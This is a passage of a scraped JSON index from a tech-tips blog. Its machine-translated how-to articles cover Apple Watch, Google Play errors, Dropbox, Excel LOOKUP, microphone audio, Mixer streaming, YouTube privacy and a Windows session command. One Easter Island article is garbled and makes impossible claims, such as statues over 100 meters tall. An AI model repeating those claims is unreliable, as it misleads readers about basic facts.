that!\nncG1vNJzZmismaXArq3KnmWcp51kg26tz6mqZqyfYsK0sYymnKanmp56sLqMmqWdqp%2BesQ%3D%3D\n","link":"/post/6-apps-to-use-memoji-on-android/","section":"post","tags":null,"title":"6 apps to use Memoji on Android"},{"body":"A series of giant stone statues of the year 100 - 1800 on Easter Island received the attention of international archaeologists.\n900 The statue on the resurrection island has been damaged quickly\n  Accordingly, the giant Moai statues are lying on the grass slopes of a volcano on Easter Island, which has been listed on the world heritage list with a total of about 900 giant stones of all kinds discovered. .\nHowever, a new statistic shows that many Moai statues are deteriorating at a rapid pace and the stone carvings begin to fade away like a regular stone block. They are suffering from the harsh effects of weather, climate change and researchers say that needing a deeper conservation effort to maintain them, particularly endangered is the stone heritage of Rapa Nui.\nDuring the new excavation\n  A new archaeological excavation project led by Ms Van Tilburg shows that hundreds and thousands of people visited Easter Island and were startled to see a series of giant humanoid stone statues with discrete bodies and heads. even conjoined.\n  Van Tilburg and the archaeological group and local people have excavated them. Most show that these blocks are surrounded by carved figures, giant tattoos. They have a crescent-shaped symbol, sophisticated carvings on the rock back. Archaeological experts believe that it is a symbol of narrow narrow boats that the ancient Polynesians used to cross the island.\nThey may belong to the year 100 - 1800\n  New giant stone statues on Easter Island average over 100 meters tall, each weighing about 80 tons. They are statues, carved statues, which can be made around 100 - 1800. Later, they were hidden in the ground. It is said that these rocks have just been discovered on Easter Island may be a symbol of sacred tribal images with ancient ancestors on the island the day before.\nncG1vNJzZmismaXArq3KnmWcp51ksrm8y6ipnmWknbJus8iapa1lo6m8r7GMrKuarKWaerCyjK2fnmWpmq6zeZBpZ2ZpaGV9brvNZpyaq6Sav2610qWYp5w%3D\n","link":"/post/explore-the-giant-stone-statue-of-the-year-100/","section":"post","tags":null,"title":"Explore the giant stone statue of the year 100"},{"body":"The Always On display has a long standby time on the Apple Watch Series 5 which is very handy. You can glance at your watch and see the time without lifting your wrist. This is a useful feature if you are practicing or want to know how long you will be stuck in a seemingly endless meeting.\nIf you don't want to use the Always On screen, you can turn it off.TipsMake.com will show you how to do this directly on the watch and in the Watch app on iPhone.\nDirectly on the watch To turn off the Always On screen on the watch, tap on the digital crown.\n  If you're viewing apps as a list, swipe up to scroll down and then tap Settings.\n  \nIf the application is displayed in a grid, place your finger on the grid and move it until you see the gear icon, then click on it.\n  Scroll down and click Display \u0026amp; Brightness .\n  Click Always On .\n  Click the Always On switch to turn off the feature. This switch is grayed out when turned off.\n  If you're turning off Always On so personal information doesn't show up on the watch face when you're not looking at it, turn on the Hide Sensitive Complications option . This option will hide personal information on the watch when it is not completely 'awakened'.\nIn the Watch app on iPhone You can also turn off the Always On screen using the Watch app on iPhone. Click the Watch icon on the Home screen .\n  Scroll down and press Display \u0026amp; Brightness .\n  Click Always On .\n  Touch the Always On switch to turn off the feature. The switch turns gray when off.\n  Again, if you only want to hide personal information when the watch is not fully 'awakened', you can turn on the Hide Sensitive Complications option .\nThe Always On feature is exclusive to Apple Watch Series 5. However, there are many interesting features in watchOS 6 and you can update to watchOS 6 on any Apple Watch from Series 1 and above (but not applicable to original Apple Watch series from 2015). You must also use an iPhone 6s or later to install iOS 13 or later.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqK6juMRmq6GdXZa5uK3YrGSopl2osLOxxKdkqKZdlr2xuMRmrpqsk50%3D\n","link":"/post/how-to-disable-the-always-on-screen-on-apple-watch/","section":"post","tags":null,"title":"How to disable the Always On screen on Apple Watch"},{"body":"When downloading the application on Google Play, sometimes users will encounter a lot of errors such as error of not downloading Google Play, WiFi connection error, error of downloading applications. In which the application failed to load error occurred more, making the application experience on Android have problems.\nAmong them there is a Pending error (Download pending) when downloading the app on Google Play, the application cannot download the device. So how to handle errors that cannot download applications and games on Android?\n4 simple ways to fix common Google Play Store errors Decode all errors that appear on Google Play and how to fix them (Part 1) Google Play Services Has Stopped steps to fix Unfortunately errors How to fix errors Pending to download Android application Method 1: Stop Google Play operation When Google Play fails to operate on Android, the first and simplest fix is ​​to stop running Google Play. We can apply this method to other applications on Android when something goes wrong.\nFirst go to the Settings section on your Android device and go to Applications . In the application list go to Google Play Store and then press the Force stop button to stop Google Play activity.\n    Method 2: Delete all Google Play data When you tried to stop the entire Google Play Store operation and reboot but didn't work, delete the entire application memory, including the cache, to bring the application to its original operation.\nAlso visit the Google Play Store and then click on Memory or press Always on Clear data and Clear cache .\n   Method 3: Log back into your Google account Having trouble downloading applications on Google Play may also stem from a connection to Google's sync account service. Please exit your Google account and proceed to log in again to troubleshoot Pending application downloads on Android.\nGo to the Settings section on Android and then go to the Account and Sync or Account section, click on the Google account on the device and then click Delete your existing Google account.\n    Some other devices you click on the vertical dot icon and then select Delete account in the drop down menu. The user then proceeds to re-login to Google.\n   Method 4: Stop the application waiting for downloading or updating If there are many applications waiting on Google Play to download or update to the new version, it is also the cause of pending pending application. Please check the list of applications to download on Google Play and stop them all.\nIn the Google Play interface click on the 3 dash icon and select My apps and games. Then turn off the entire application waiting to download or update the new version.\n    Method 5: Remove previous updates from Google Play Also in the interface of the Google Play Store, click on Uninstall to update . Then click OK to proceed to delete the application updates.\n   Or click on the 3 vertical dots icon and also select Uninstall to update is done.\n   Above are the ways to fix Pending errors when downloading apps and games on Google Play. Please delete all data on Google Play then try to exit and log back into your Google account to download the Android app again.\nSee more:\nHow to download the old version of Android application and block automatic update How to download applications on Google Play Store? How to fix error 492 on Google Play Hope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqxsc2doKefXaWyr7DIp55mnJ%2Bsu627wJ1kqJ5dlr2xv4yopWafn6S0rbGMqaOasQ%3D%3D\n","link":"/post/how-to-fix-pending-pending-download-of-apps-on-google-play/","section":"post","tags":null,"title":"How to fix Pending pending download of apps on Google Play"},{"body":"Everyone knows that the keyboard is indispensable for a computer in general and a laptop in particular. However, in certain cases, you may want to lock the keyboard to prevent the impact from children, pets, or from your carelessness. So how to lock (or disable) laptop keyboard? Please refer to the following instructions.\nMethod 1: Disable the keyboard with Device Manager of Windows Step 1: Using the search feature of Windows, enter \" device manager \" and select the results found (with Windows 8 and below, you need to open the Start Menu to see the search box).\n  Step 2: In Device Manager , navigate to Keyboards , click on the left arrow to expand, you will see HID Keyboard Device . Right-click on it and select Uninstall .\n  Doing so will remove the laptop keyboard driver, disabling the keyboard. However, you do not need to worry, because after the next boot, the computer will automatically reinstall this driver, and your keyboard will work again as usual.\nMethod 2: Disable the keyboard with third party software If you want to be more active in locking and unlocking the keyboard, use the KeyFreeze software. This is a simple, free application for Windows that locks your keyboard and mouse. With KeyFreeze, you will have complete peace of mind when letting children watch cartoons on your laptop and let them \"smash\" the keyboard as they please.\nDownload this app here: Download KeyFreeze.\nInstructions for using KeyFreeze:\n- To lock the keyboard and mouse: Click on Lock Keyboard \u0026amp; Mouse .\n  - To unlock again: Press Ctrl + Alt + Del and then press Esc (to turn off Task Manager).\nSo I have introduced two ways to lock (disable) laptop keyboard. Hope the above article will be helpful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSfmLhuwMeeZKWZoKm8sXnKnrCbp5GnsW60zrBkraddmba0rcGlnGasmJp6ra3PraapZZuaxqO7wKub\n","link":"/post/how-to-lock-the-laptop-keyboard-how-to-disable-the-laptop-keyboard/","section":"post","tags":null,"title":"How to lock the Laptop keyboard, how to disable the Laptop keyboard"},{"body":"Dropbox is one of the most popular software for copying and syncing data. Dropbox supports users to back up data between computers and a very useful feature is backing up and syncing data on computers and phones together. This is a strong point of Dropbox, giving users a space to store and transfer data very quickly. Today, the Software Tips will guide you How to sync data between your phone and computer using Dropbox.\n  1. Working on a computer To be able to synchronize data between your phone and computer with Dropbox, you proceed to download the Dropbox software to your computer and install it to use.\nLink: https://www.dropbox.com/en_GB/downloading\nThen you proceed to install and log in to get free storage.\nStep 1: You open This PC and select Dropbox . This is your Dropbox workplace. To facilitate the data management and search, we should create 1 Folder for easy manipulation. You right-click and select New -\u0026gt; Folder and name it.\n  After having Folder in Dropbox and then we move to the device device to synchronize data.\n2. For phones using the Android operating system Step 1: You proceed to PlayStore to install Dropbox.\nLink: https://play.google.com/store/apps/details?id=com.dropbox.android\u0026amp;hl=en\nAfter installation is complete, you proceed to log in to Dropbox ( Use your Dropbox login account on the computer ).\n  Step 2: When successfully logged into Dropbox, you open the folder you created in Part 1 , then Dropbox will have a display window for you to choose such as:\nScan document: Scan the document Upload photos or videos: Upload photos or videos Upload files: Upload documents Create new Folder: Create a new folder Create new text file: Create a typed document Take a photo: Take a photo upload Add file From a computer: Add documents from the computer In this article, the Software Tips will guide you how to synchronize photos and videos, with other documents you synchronously do the same:\nYou choose Upload photos or videos and proceed to select images / videos on your phone.\n  Everything will automatically be Uploaded, after the Upload is complete you can go to the newly created folder in Part 1 on your computer to view.\n  3. For phones using the IOS operating system With IOS, you also need to install the Dropbox application and log in with your account logged in on the computer Dropbox.\nLink: https://itunes.apple.com/us/app/dropbox/id327630330?mt=8\nStep 1: After you download, you proceed to log in to your Dropbox. Now will display the folder in Dropbox, you select the Folder that you just created in Part 1 and you proceed to open that folder.\nWith iOS, Apple does not give users much access to the File in the system. You just choose to sync photos so we will choose Photos .\n  Step 2: You proceed to select the images that you want to upload and click Next . Next you choose the storage directory and click Upload .\n  Step 3: After that, the software will automatically upload to your Dropbox.\n  After the Upload is complete, you can open the folder on your computer Dropbox to view the backup data.\n  4. How to back up data from computer to phone To backup data from your computer to your phone using Dropbox, simply Copy the data you need to back up to the folder created in Part 1.\n  Thus, the Software Tips guide you how to sync data between your phone and computer using Dropbox. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqupo7Cpvs6noLOdXZmuta2Mm5ytr5Wau27Fzq6pZqiYpLumecCnm2abn6K9tsDEq2SwoaSdeqW%2BzqmZqLA%3D\n","link":"/post/how-to-synchronize-data-between-your-phone-and-computer-with-dropbox/","section":"post","tags":null,"title":"How to synchronize data between your phone and computer with Dropbox"},{"body":"In Excel basic functions, Lookup function is often used by many people. Lookup is a reference function, a search function in Excel. This function will be used when you need to see a row or a column, looking for a value in the same position or column.\nLookup function will be used in two forms, vector and array. Each form will have a formula as well as a different application case. The following article will guide you how to use the Lookup function in Excel.\nHow to use Vlookup function in Excel How to use Hlookup function on Excel How to combine Sumif and Vlookup functions in Excel Instructions for using Lookup function on Excel The Vector form Lookup function is used to find a value in a range of 1 row or 1 column, and returns the value from the same position in the second range of 1 row or 1 column. This vector form will be used when you want to determine the range that contains the values ​​you want to compare, or when the range to be searched for is a range of values ​​or values ​​can be changed.\nArray form to look up the value specified in the first column or row of the array, then return the value from the same position in the last column or row of the array. Array form used when the search range is low, the value remains the same and must be sorted.\n1. Use the Lookup function in the Vector format The formula is = Lookup (The value to look for, The area to find the value to look for, The container of the result value) .\nThe value to look for can be a number, a text, a logical value, a name, or a reference to a value.\nThe area to be searched for is text, number or logic value. The values ​​in this area must be sorted in ascending order so that no errors will occur.\nThe area containing the result value can be 1 row or 1 column.\nNote:\nIf the value to be searched for is not available, the smallest value in the Value range will be used. If the value to be searched for is smaller than the minimum value in the Area to be searched, the error will be reported # N / A. We will apply to the statistics table below. For example, if you want to buy a phone for about 7,500,000, what kind of phone will you find? And if you want to find a phone in about 13 million, look for one.\n  Step 1:\nIn the result input box for the phone in about 7,500,000 users enter the formula as = LOOKUP (7500000, C2: C6, B2: B6) and press Enter. If using numbers, do not use unit separators.\n  The result will be the Lenovo phone.\n  Step 2:\nTo find the phone line in about 13 million, enter the formula in the result box = LOOKUP (13000000, C2: C6, B2: B6) and press Enter.\nThe value of 13000000 is not in the data area, so Lookup will look for a value less than 13000000.\n  As a result we will have an iPhone phone company that should buy it for about 13 million.\n  If you need to find a phone within 5 million VND, you will report # N / A error as shown below. So worth 5,000,000 less than the smallest value in the table is 6,000,000 and report an error. The result of the value you need to find will be in the range of 6,000,000 to 12,000,000 only.\n  2. Use the array Lookup function The syntax is = LOOKUP (Search value, Search area) .\nThe value to look for is the Lookup function value to look for in an array.\nThe search area is the range of cells that contain text, numbers, and logical values ​​to look for.\nNote:\nIf the value to be searched for is not found, the closest value in the Search Area will be taken. If the value to be searched for is smaller than the smallest value in the first row or column, Lookup will return the # N / A error. If the array has more columns than rows, Lookup will search for the value to look for in the first column, The values ​​in the Search Area must be sorted in ascending order. We will process the data table below with the sales achieved and reward the sales mark. Calculating bonus for employees selling 15 products and sales for employees is 59 products, 65 products.\nStep 1:\nIn the results box for the 15 product sales staff, enter the formula = LOOKUP (15, B2: C6) .\n  The reward results will look like the picture below.\n  Step 2:\nContinue in the results box for employees to sell 59 products, enter the formula = LOOKUP (59, B2: C6) .\n  The reward results for employees reaching 59 products will still be 600,000. Although number 59 is not in the table, it will still have a return value.\n  Step 3:\nIn the reward box for the product is 65, we enter the formula = LOOKUP (65, B2: C6) and press Enter and the result will give 800,000 as shown.\n  If a user finds a reward for a 14-person product, an error is reported, because the value to be searched is less than the smallest value in the table.\n  Here's how to use the detailed Lookup function in Excel. Lookup will be divided into two types, vector and array. The formula and usage of these two forms are not the same.\nSee more:\nHow to use ConcateNate function on Excel How to use SUMPRODUCT function in Excel How to use AVERAGEIF function in Excel I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqtu86krKlllqq7pMDIqKVmoZ5isrmvxKU%3D\n","link":"/post/how-to-use-lookup-function-in-excel/","section":"post","tags":null,"title":"How to use Lookup function in Excel"},{"body":"When you listen to the radio or watch live stream on facebook for example, you can hear the sound very smooth as if listening to the broadcasters speaking live, far different than when you try to record your voice.Ever wondered how radio stations as well as recording centers and streamer have been so good at recording sound quality?\nTo achieve this, an indispensable factor is the quality of the hardware, but the processing process, post-editing after the audio is recorded (or sometimes directly) is the factor. decided to make the sound better.\nThis article will use two popular post-audio editing software to help you better understand the problem, which is Adobe Audition and Audacity.Adobe Audition is a great tool with a very intuitive interface (an important factor for audio editing software), while Audacity is completely free (but missing some features and uses). will be a little more difficult.\nBuy an independent microphone   \nAs mentioned, an important factor for good recording quality is the quality of the recording device (microphone).While post-processing can help your microphone sound much better, but if the quality of the raw recording is good from the beginning, the post-production process is also easier.The main concern here will be noise.Although audio processing applications such as Audacity are great for noise filtering and creating professional flat sound, it can't eliminate good noise.The device's built-in microphones are usually small and have no sound filtering, so it also captures quite a bit of noise from outside, which causes interference.Large, independent microphone systems are usually much less noisy due to their superior sound filtering capabilities.\nA high quality removable microphone set can easily cost up to hundreds of dollars, but it is for audio professionals, professional streamer.As for the average user, inexpensive removable mics like the TONOR BM-700 for just $ 30 will give you a significantly better recording quality than the built-in microphone or laptop. your phone\nNoise Reduction (noise reduction)   \nMost microphones, even high-end microphones, are not completely 'smooth' and eliminating background noise that causes noise is one of the first steps in 'cleaning' your sound.\nSpectral frequency display in Audition is very useful for displaying noise level.It shows the noise amplitude at each other frequency over time.Before conducting noise reduction filtering, you can see at the end of the audio range (while there is no voice), there is still a lot of data, the data here is the noise that the microphone has collected. again.Looking closer, these noise lines stretched across all the sounds.\n  After conducting noise reduction, there are still noises, but much less than before.\n  Since these frequencies are cut off, the sound will be slightly distorted, and this is where the noise-canceling microphones work.\nYou can perform noise reduction in many different ways, but one of the best ways is to use a so-called noise print to selectively cut noise, this method is also very useful, usable for all types of noise.In addition, there are many other effects (such as hiss removal) that you can use to alleviate and reduce noise adapting to different frequencies without using noise print.\nIn Audition, you must first record the noise print before you can use the noise reduction function.Choose a quiet sound range and choose Effects\u0026gt; Noise Reduction\u0026gt; Capture Noise Print.\n  \nNext, in the same menu, select Noise Reduction (Process) .This will open a dialog box in which you can configure noise reduction settings.\n  The default settings are usually quite good, but you can also adjust floor noise if you want.\nThis screen shows you the noise level that the microphone receives at each frequency.You can preview the sound with the Play button in the bottom left corner before applying your changes.You can also select 'Output Noise Only' to preview all deleted noise.When doing this, try to keep the main record free of noise to minimize audio distortion.\nIn Audacity, just select Effect\u0026gt; Noise Reduction.From here you can install noise configuration and some other settings.\n  Audacity does not have enough features such as removing Audition noise but will also help improve noise greatly.\nEqualization   \nEqualization, or EQing, is to adjust the volume of different notes in each audio range.For example, you can enhance or cut the bass as you like.However, in reality, the art of adjusting EQ requires far more sophistication, even though it only revolves around minor edits to make the sound better.For example, if you have a deep radio recording, you might think that you should only increase the bass, but in fact, this will make the voice sound bup and will not create out the effect you desire.\nAudition's Vocal Enhancer installer is a useful assistant in voice editing. This setting will first filter out very low bass (low bass) and increase the frequency to the point where vocals often exist. You can open this window in Filter and EQ\u0026gt; Equalizer Parametric .Like noise reduction, you need to select an audio range to adjust the EQ, and you can preview your changes with the Play button.\n  You can edit EQ in Audacity by visiting Effect\u0026gt; Equalization.\n  \nCompression and standardization   \nOne problem you may encounter with your microphone is the level of uniformity in volume that it can obtain.In many cases, recordings will have the same spectrum as the image shown above, with very quiet parts while the rest are very large.\nCompression (compresson) will help you solve this problem.This type of compression differs from traditional digital compression used to reduce file size.Audio compression is an attempt to make the clip more uniform in volume.Below is a voice recording similar to the above, but has been compressed:\n  Note that this can also increase the volume of background noise in pause scenes, as well as on quieter sound bands.\nYou may not notice but this feature is being applied very popular on most songs on radio, called \"Loudness Wars\".See this wave diagram of a song that has been edited for radio broadcasting compared to the downloadable version:\n  The radio revision is compressed and standardized to 100%, while the downloadable version is reduced at volume level.This is an extreme example and you will never really need to compress your audio so much in practice.\nNormalization is similar to compression and it is often the last step in post-processing.Normalization will need your entire recording, and make the largest part of the sound range reach 100% volume.This is useful to keep a consistent volume between different recordings.In summary, compression makes the volume uniform in a recording, and standardizes to make this volume consistent between recordings.When both of these features are used together, your recording will sound much better.\nDirect handling   \nBoth Audition and Audacity operate primarily on pre-recorded recordings, ie post-production processing.Therefore, they are not very useful when you want to stream live (live stream).To get audio output quality while live streaming is fine, you need to route the audio inside your computer.\nTo do this, we will need a virtual audio cable (VAC) from VB-Audio.This is a completely free program.VAC creates a 'virtual output' that you can choose as your speaker.It will send your system sound to another virtual input that you can set as your microphone in any application.You will not hear the audio output while using the virtual output, this is great.\nAudition has a monitoring feature in Multitrack , you can use it to apply some effects in real time and then export them to headphones for monitoring.Normally, this will allow you to hear your microphone when recording.However, if you choose VAC as an output device, VAC will route it to your microphone input.A pretty simple solution, but that's the only way to run the Audition effect directly on your recording.\n  You cannot use all features that are only applicable to recordings available with live recordings, but many features will still work.Remember that applying too many effects can affect the performance of the system while running.\nIf you don't have Audition or don't need a software with full effects, you can use Banana VoiceMeeter software to perform some basic EQing.\n  VoiceMeeter Banana has an equalizer with full parameters that you can use to adjust your microphone sound while streaming.\n  Good luck!\nsee more\nHow to live stream Facebook with OBS Studio software How to use FXSound to improve PC sound quality How to manage and improve sound quality in Windows 10 3 Equalizer applications help improve sound quality on macOS ncG1vNJzZmismaXArq3KnmWcp51ktq680aitnmWknbJuv86upZ1loaqurbXTsmSonl2ptaZ5zKKaq6egnbyvsYyopWasmJp6pLvMqaytnaI%3D\n","link":"/post/improve-the-sound-quality-of-the-microphone-on-the-computer/","section":"post","tags":null,"title":"Improve the sound quality of the microphone on the computer"},{"body":"Surprisingly, Samsung's latest smartwatch is no longer compatible with iOS. Although Samsung talked about iOS support during the Unpacked event, the official Galaxy Watch 4 page made no mention of Apple's ecosystem.\nUnlike any wearable before, Galaxy Watch 4 is equipped with a completely new operating system, combining elements of the two ecosystems of Wear OS and Tizen OS. In fact, the Galaxy Watch 4 is the world's first smartwatch to run 'Wear OS powered by Samsung'. Previous versions of the Samsung Galaxy Watch supported iPhones through the iOS Galaxy Gear app.\n  If you are planning to buy a Galaxy Watch 4 then you should first check if your smartphone is compatible with it. Samsung not only removed iOS from the compatibility list, but also Android smartphones running Android 5.0.\nAccording to Samsung, the Galaxy Watch 4 is compatible with devices running Android 6.0 or higher and RAM 1.5GB or higher. Samsung also notes that 'branded smartphones and available features may vary by region, carrier and device'.\nThis will likely cause many iPhone users to automatically switch to the Apple Watch and lead to some revenue impact for Samsung.\nncG1vNJzZmismaXArq3KnmWcp51ktrR50pqkrK2enHqorcuar7Jlp5bBpLSMbWScp52lrrW1waWcZq%2BZqbVutc%2Bhpqed\n","link":"/post/is-samsung-galaxy-watch-4-compatible-with-iphone/","section":"post","tags":null,"title":"Is Samsung Galaxy Watch 4 compatible with iPhone?"},{"body":"Live streaming can now be considered a mainstream entertainment source. Famous streamers attract thousands of viewers and celebrities in their own way.\nStream has become a career option capable of generating real profits. Anyone can become a streamer. All you need is a computer and streaming service like Twitch or Mixer. Today's article will help readers learn everything you need to know about Mixer and how to start streaming on this platform.\nWhat is a mixer? How to start streaming on this Twitch alternative? What is a mixer? How does the mixer work? Why is mixer so popular? Who streams on the Mixer? How to get started with Mixer How to start streaming on the Mixer How to stream on Mixer from mobile device Is the mixer the future of streaming? What is a mixer?   Mixer is a live streaming platform owned by Microsoft. Formerly known as Beam, Microsoft acquired the platform in 2016, stemming from efforts to compete with similar platforms like Twitch and YouTube.\nAll streams in the Mixer have live video feed and chat rooms for viewers to communicate in real time with streamers and other viewers. Most streams involve playing games, though there are also other channels that specialize in music or talking to the audience via the camera (also known as IRL streaming).\nThe mixer is available as a website and smartphone application.\nHow does the mixer work? For most people, Twitch is synonymous with streaming. While Twitch is undoubtedly the most popular streaming platform, it does nothing special when compared to other platforms. Both the Mixer and Twitch work by streaming whatever is on the player's screen into a web browser for the audience to watch live.\nBoth Mixer and Twitch allow viewers to interact directly with streamers. This feature can be used via notifications enabled by donations or by paying a monthly subscription fee to the streamer. Full streams and short clips from past streams are also available when a streamer is not live.\nMixer provides the same features as Twitch, along with many other forms of interaction and other developments. Whenever you stream or watch, your Mixer account will receive Spark and EXP, which can be used to earn rewards as both a streamer and a viewer.\nWhy is mixer so popular? The mixer has been in operation for several years and many people have chosen it as the platform for streaming. Even so, it is still not very popular. Mixer's streaming capabilities have only gained attention in recent years, so this may not be too surprising.\nBut what made the change? In a nutshell, the cause comes from the Ninja streamer, also known as Tyler Blevins. In August 2019, Ninja announced he would leave Twitch to support Mixer.\nThis is a staggering reversal of Microsoft's situation, because Ninja is one of the biggest names in the streaming field. His Fortnite streams on Twitch broke every previously set record for streaming and Ninja had nearly 15 million followers before leaving the Twitch platform.\nThe switch from Twitch to Mixer has attracted many Ninja followers on Twitch. It also inspired many streamers to try joining the Mixer, hoping to attract more viewers after Ninja's platform transformation.\nWho streams on the Mixer?   Different streaming platforms specialize in different things. Because Mixer is quite young, not many celebrities, but it has proven itself to be a platform friendly to gamers, similar to Twitch.\nWhile Facebook, Instagram and Twitter also support live streaming, they rarely feature gaming. YouTube streams are more gaming oriented.\nCurrently, the Mixer primarily provides gaming and IRL streams, and there are plans to expand in the future.\nRegardless of platform, games like Fortnite, Playerunknown's Battlegrounds and Minecraft are the most popular options. And you can find them all on the Mixer.\nHow to get started with Mixer   Mixer streams can be viewed in any browser. Go to mixer.com and you can start watching the stream right away. The homepage has live streamers. You can also choose to browse the game or watch one of the many Mixer channels, displaying different content on the platform.\nYou can watch the streams without an account. But if you want to interact with the streamer and join the chat room, you must have an account. If you already have a Microsoft or Xbox Live account, you can use this account to log into the Mixer.\nIn addition, the Mixer application is available for both Android and iOS, helping to optimize the viewing feature on smartphones and tablets.\nDownload Mixer for iOS | Android (Free).\nHow to start streaming on the Mixer One of the benefits of Mixer compared to other platforms is that you can easily start streaming. Usually, additional software such as Open Broadcaster Software (OBS) or Xsplit is required. This software acts as a bridge between your game, your camera and the streaming platform.\nWindows users can skip this step, by streaming directly to the Mixer from the Game Bar: Press Win + G to display the Game Bar and select the Start Broadcasting icon on the right.\n  Sign in if prompted, then select camera and microphone settings. Name your stream, record the URL Mixer and click Start Broadcasting to start streaming.\n   That is all there is to it! Your program will start and can be viewed at the URL Mixer noted above.\nHow to stream on Mixer from mobile device You can also stream on Mixer using your smartphone or tablet. You need to download the Mixer app for iOS or Android. After downloading, open the application and log in.\nYou will be greeted with a broadcast menu, where you can choose the title and category for your stream. You can also add suggested ages for viewers. Click the broadcast icon, to choose whether you will stream from camera, game or both.\n  It is worth noting that you will need a device like a dedicated gaming phone to stream the game. This is always true no matter which streaming platform you choose.\nIs the mixer the future of streaming? With all the effects surrounding Ninja switching to Mixer and new streamers starting to use this service every day, Mixer is gradually improving its position.\nIf you want to start streaming, most of the tips for creating an audience for your live channel have nothing to do with the platform you choose.\nIn addition to the Mixer, there are many other streaming platforms you can choose from. Refer to the article: Twitch, Mixer or YouTube Live is the best streaming platform? to consider some options.\nWish you find yourself the right platform!\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuwMeeZKahqJq%2Fbr%2FTq5yapZmjtG68y5qrn6eiog%3D%3D\n","link":"/post/learn-about-the-mixer-streaming-platform/","section":"post","tags":null,"title":"Learn about the Mixer streaming platform"},{"body":"Setting up privacy and not sharing personal information is something that anyone who uses social networks or the Internet in general should keep in mind. And YouTube is no exception, but do people using YouTube know how to set up online privacy to make sure you want to share what and what you shouldn't share?\nThe article will guide quick settings, help users protect their privacy on YouTube video sharing website with a few simple steps.\n1. Privacy settings   First, you need to login to your YouTube account, then click on the avatar at the top right of the screen and select YouTube Settings. To the next screen, click the Privacy button at the top left.\n  Here, you will be provided with many basic privacy options settings. Click on the Likes and Subscriptions option to make sure any videos you like and any video channels you subscribe to are secure.\nUnder Search and Contacts , you can select people who can contact you on video sharing sites. By clicking the Allow only my contacts option to send me messages and share videos , it means that only those in your YouTube contacts can text you.\nWhile the second option is Let people find my channel on Youtube if they have my email address , give you the option to let people want you to find you by your email address.\n2. Connect an account Connecting to other social networking accounts is a good feature, helping YouTube users to quickly share video content. However, unless you fully understand the settings, you might otherwise accidentally share some of your actions on YouTube with everyone on social networks.\nTo check the settings in this area, click the Connected Accounts section just above the Privacy option in the Account Settings menu . If you've linked your Facebook and Twitter accounts to YouTube, you can see both accounts under the Connect your accounts box.\nBelow the accounts, you will see the Share your public activity to connected accounts section , where you will be provided with security options for social networks from your YouTube account such as: Whenever you upload videos Youtube, comment on a video clip, add videos to playlists, like videos . all of these actions will be shared publicly with the social network accounts you have connected. Unchecking all of these options means that these activities will not be shared on Facebook or Twitter.\n  \n3. Security channel If you have a YouTube channel, while you're still on the Connected Accounts page, look at the bottom of the screen and click on the link settings on your channel link.\n   \nHere you can set up and check the activity of the Feed feature on your video channel. Clicking on the options under Post to my activity feed when I . means that the above activities will be sent to Feed when you add a video to the list, subscribe to a video channel, comment videos . To those Other can't control this information of yours, just remove these options and finish.\n  \n4. Check the channel Finally, it is possible to check whether your video channel appears publicly. By clicking on the avatar in the upper right of the screen and selecting My Channel.\n   \nOnce the video channel page has finished downloading, you will see the View as Public option on the top right of the screen. Click this button, you'll see how the video channel works and how others see it.\n  \nncG1vNJzZmismaXArq3KnmWcp51kvra1wqSjsmWjmrC2vsRmsKitpKqvpnnAnJqorZ6pwA%3D%3D\n","link":"/post/quickly-secure-youtube-accounts/","section":"post","tags":null,"title":"Quickly secure YouTube accounts"},{"body":"(Applies to Windows Server (Semi-Annual Channel), Windows Server 2016, Windows Server 2012 R2, Windows Server 2012)\nThe reset session command allows you to reset (delete) a session on the Remote Desktop Session server (rd Session Host).To learn more about how to use this command, see the example section below.\nNote: In Windows Server 2008 R2, Terminal Services have been renamed to Remote Desktop Services.\nThe command to reset session\n reset {session | } [/server:] [/v] } [/ server:] [/ v]  The command parameter resets the session\nParameters\nDescribe\nSpecify the name of the session you want to reset.To determine the name of a session, use the query session command.\nSpecify the session ID to reset.\n/ server:\nSpecify the terminal server that contains the session you want to reset.If this parameter is not specified, the current rd Session Host server will be used by default.\n/ v\nDisplays information about the action being taken.\n/?\nShow help at thecommand prompt.\nThe command prompt resets the session\nYou can always reset your own session, but you will have to have full control access to reset the session of another user.\nNote that resetting other users' sessions without warning them may result in data loss during that session.\nYou should only reset the session when it is malfunctioning or seems to have stopped responding.\nThe parameter / server is only required if you use a resetting session from the remote server.\nFor example, the command to reset the session\nTo reset the specified session named rdp-tcp # 6, enter:\n reset session rdp-tcp # 6  To reset the session using ID to 3, enter:\n reset session 3  See more:\nSummary of 20 common Run commands on Windows operating system Summary of shortcuts to know in Windows 10 Basic Linux commands everyone needs to know Table summarizes the basic PowerShell commands ncG1vNJzZmismaXArq3KnmWcp51kwamxjKucrJ2kYsCmv9Kipqdlk6S6rq3NnWSipl2stq%2BwzrCq\n","link":"/post/the-reset-session-command-in-windows/","section":"post","tags":null,"title":"The reset session command in Windows"},{"body":"Have you ever heard a great song but didn't know the name of the song that made it impossible for you to find the song to listen to again. Because of that and the song recognition applications were born, these applications are capable of listening to the song is open and help us identify and identify the song name very accurately. In this article, TipsMake.com will introduce to you the top 3 software to identify the most accurate song names today so you can use for your needs, please refer.\n  1. Shazam application Link to download Android: https://play.google.com/store/apps/details?id=com.shazam.android\nDownload link for iOS: https://itunes.apple.com/vn/app/id284993459\n  Referring to the song recognition application, surely Shazam must be mentioned first. This is a popular song recognition software and is used by many people all over the world today. With Shazam you can identify songs quickly with just one button, and the accuracy of identification is quite high even for Vietnamese music. In addition, after the song is identified, you can play the song right in the Shazam application without having to open other music playback applications.\n2. SoundHound application Android download link: https://play.google.com/store/apps/details?id=com.melodis.midomiMusicIdentifier.freemium\nDownload link for iOS: https://itunes.apple.com/vn/app/soundhound-music-discovery/id355554941\n  The second name mentioned in this list is SoundHound, an application that competes directly with Shazam. Just click the orange button at the main interface of the software, you can identify the right song title, the song recognition speed of the software is very fast and accurate. Even if you can hum your own words and the software can identify them well, it's a great feature that not all apps have. And of course SoundHound also features music playback and lyrics viewing in the application, which is very convenient for those who are passionate about singing.\n3. Musixmatch application Android download link: https://play.google.com/store/apps/details?id=com.musixmatch.android.lyrify\nDownload link for iOS: 